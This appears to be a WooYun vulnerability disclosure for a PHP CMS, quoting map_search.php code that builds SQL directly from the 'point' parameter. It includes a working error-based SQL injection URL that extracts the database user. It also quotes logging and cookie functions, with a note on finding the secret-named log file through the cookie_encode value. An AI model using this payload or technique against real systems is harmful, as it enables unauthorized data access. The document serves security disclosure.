WooYun.org

if($act=='showmap'){
    if($point){
        $points=explode(',',$point);
                var_dump($points);
        if(count($points)<4){echo "alert('数据异常，载入失败！');";exit();}
        echo "$(\".map_loading\").hide();
        map.clearOverlays();\r\n";
        $sql="select a.m_id,a.m_name,a.m_regdate,a.m_workers,a.m_ecoclass,a.m_trade,b.m_map from {$cfg['tb_pre']}member a INNER JOIN {$cfg['tb_pre']}member_map b ON a.m_id=b.m_mid WHERE a.m_flag=1 AND $points[0]<SUBSTRING_INDEX(SUBSTRING_INDEX(b.m_map,':',-1),',',1) AND SUBSTRING_INDEX(SUBSTRING_INDEX(b.m_map,':',-1),',',1)<$points[1] AND $points[2]<SUBSTRING_INDEX(b.m_map,',',-1) AND SUBSTRING_INDEX(b.m_map,',',-1)<$points[3] $sqladd order by a.m_id desc";
        $counts = $db->counter("`{$cfg['tb_pre']}member` a INNER JOIN {$cfg['tb_pre']}member_map b ON a.m_id=b.m_mid","a.m_flag=1 AND $points[0]<SUBSTRING_INDEX(SUBSTRING_INDEX(b.m_map,':',-1),',',1) AND SUBSTRING_INDEX(SUBSTRING_INDEX(b.m_map,':',-1),',',1)<$points[1] AND $points[2]<SUBSTRING_INDEX(b.m_map,',',-1) AND SUBSTRING_INDEX(b.m_map,',',-1)<$points[3] $sqladd");
        $page= isset($_GET['page'])?$_GET['page']:1;//默认页码
        $getpageinfo = page($page,$counts,"",20,5);
        $sql.=$getpageinfo['sqllimit'];
        $query=$db->query($sql);$i=0;$showinfolist=$showinfotip='';
        while($row=$db->fetch_array($query)){
            $maps=explode(':',$row['m_map']);
            if(count($maps)>1){
                $map=$maps[1];$i++;
                echo "var point$i = new BMap.Point($map);
                var myIcon = new BMap.Icon('{$cfg[siteurl]}{$cfg[path]}images/map/n$i.png', new BMap.Size(21,28));
                var marker$i = new BMap.Marker(point$i, {icon:myIcon});
                map.addOverlay(marker$i);
                var infoWindow$i = new BMap.InfoWindow(\"载入中...\",{width:420,height:180});
                marker$i.addEventListener(\"click\", function(){
                    map.openInfoWindow(infoWindow$i,new BMap.Point($map));
                });
                infoWindow$i.addEventListener(\"open\", function(){
                    if (infoWindow$i.getContent()=='载入中...'){
                        var htmhead='<p class=\"maplayername\"><a href=\"".formatlink('company','company',$row['m_regdate'],$row['m_id'])."\" target=\"_blank\">{$row["m_name"]}</a><br><b>规模:</b>{$row["m_workers"]} <b>性质:</b>{$row["m_ecoclass"]} <b>行业:</b>{$row["m_trade"]}</p>';
                        var htmend='';
                        $.get(\"$cfg[path]inc/getinfo.php\",{id: {$row[m_id]}, s: 4, hn: 20, hl: 8},function(data){
                            infoWindow$i.setContent(htmhead+data+htmend)
                        });
                    }
                });\r\n";
                $showinfolist.="<li><img src=\"$cfg[path]images/map/nb$i.png\" align=\"absmiddle\" > <a id=\"a$i\" target=\"_blank\" href=\"".formatlink('company','company',$row['m_regdate'],$row['m_id'])."\">".sub_cnstrs($row["m_name"],16)."</a></li>";
                $showinfotip.="$('#showinfolist li a[id=\"a$i\"]').unbind().mouseover(function(){map.openInfoWindow(infoWindow$i,new BMap.Point($map));});\r\n";
            }
        }
        echo "$(\"#showinfolist\").html('$showinfolist');\r\n";
        echo $showinfotip;
    }
    exit();
}

http://127.0.0.1/frcms/search/map_search.php?act=showmap&point=1=1 or char(@`'`) or EXP(~(select * from (select user())a))%23,aaa,aaa,aaaa,aaaaaa

function log_write($message, $type = 'php') {
        global $cfg, $fr_time, $username;
        $userip = getip();
    $fr_time or $fr_time = time();
        $user = $username ? $username : 'guest';
    dir_create(DATA_ROOT.'/log/');
    $log_file = DATA_ROOT.'/log/'.$type.'_'.md5($cfg['cookie_encode']).'.txt';
        $log = date('Y-m-d H:i:s', $fr_time)."||$userip||$user||".$_SERVER['SCRIPT_NAME']."||".str_replace('&', '&', $_SERVER['QUERY_STRING'])."||$message\r\n";
    $olog=file_get_contents($log_file);
    fputs(fopen($log_file,"w"), $log.$olog);
}
主要是要获取到$cfg['cookie_encode']这个值，然后就可以找到这个文件了
function _setcookie($var, $value = '', $time = 0) {
    global $cfg, $fr_time;
        $time = $time > 0 ? $fr_time+$time : (empty($value) ? $fr_time - 3600 : 0);
        $port = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
        $var = $cfg['cookie_pre'].$var;$value&&$value=base64_encode($value.$cfg['cookie_encode']);
        return setcookie($var, $value, $time, $cfg['cookie_path'], $cfg['cookie_domain'], $port);
}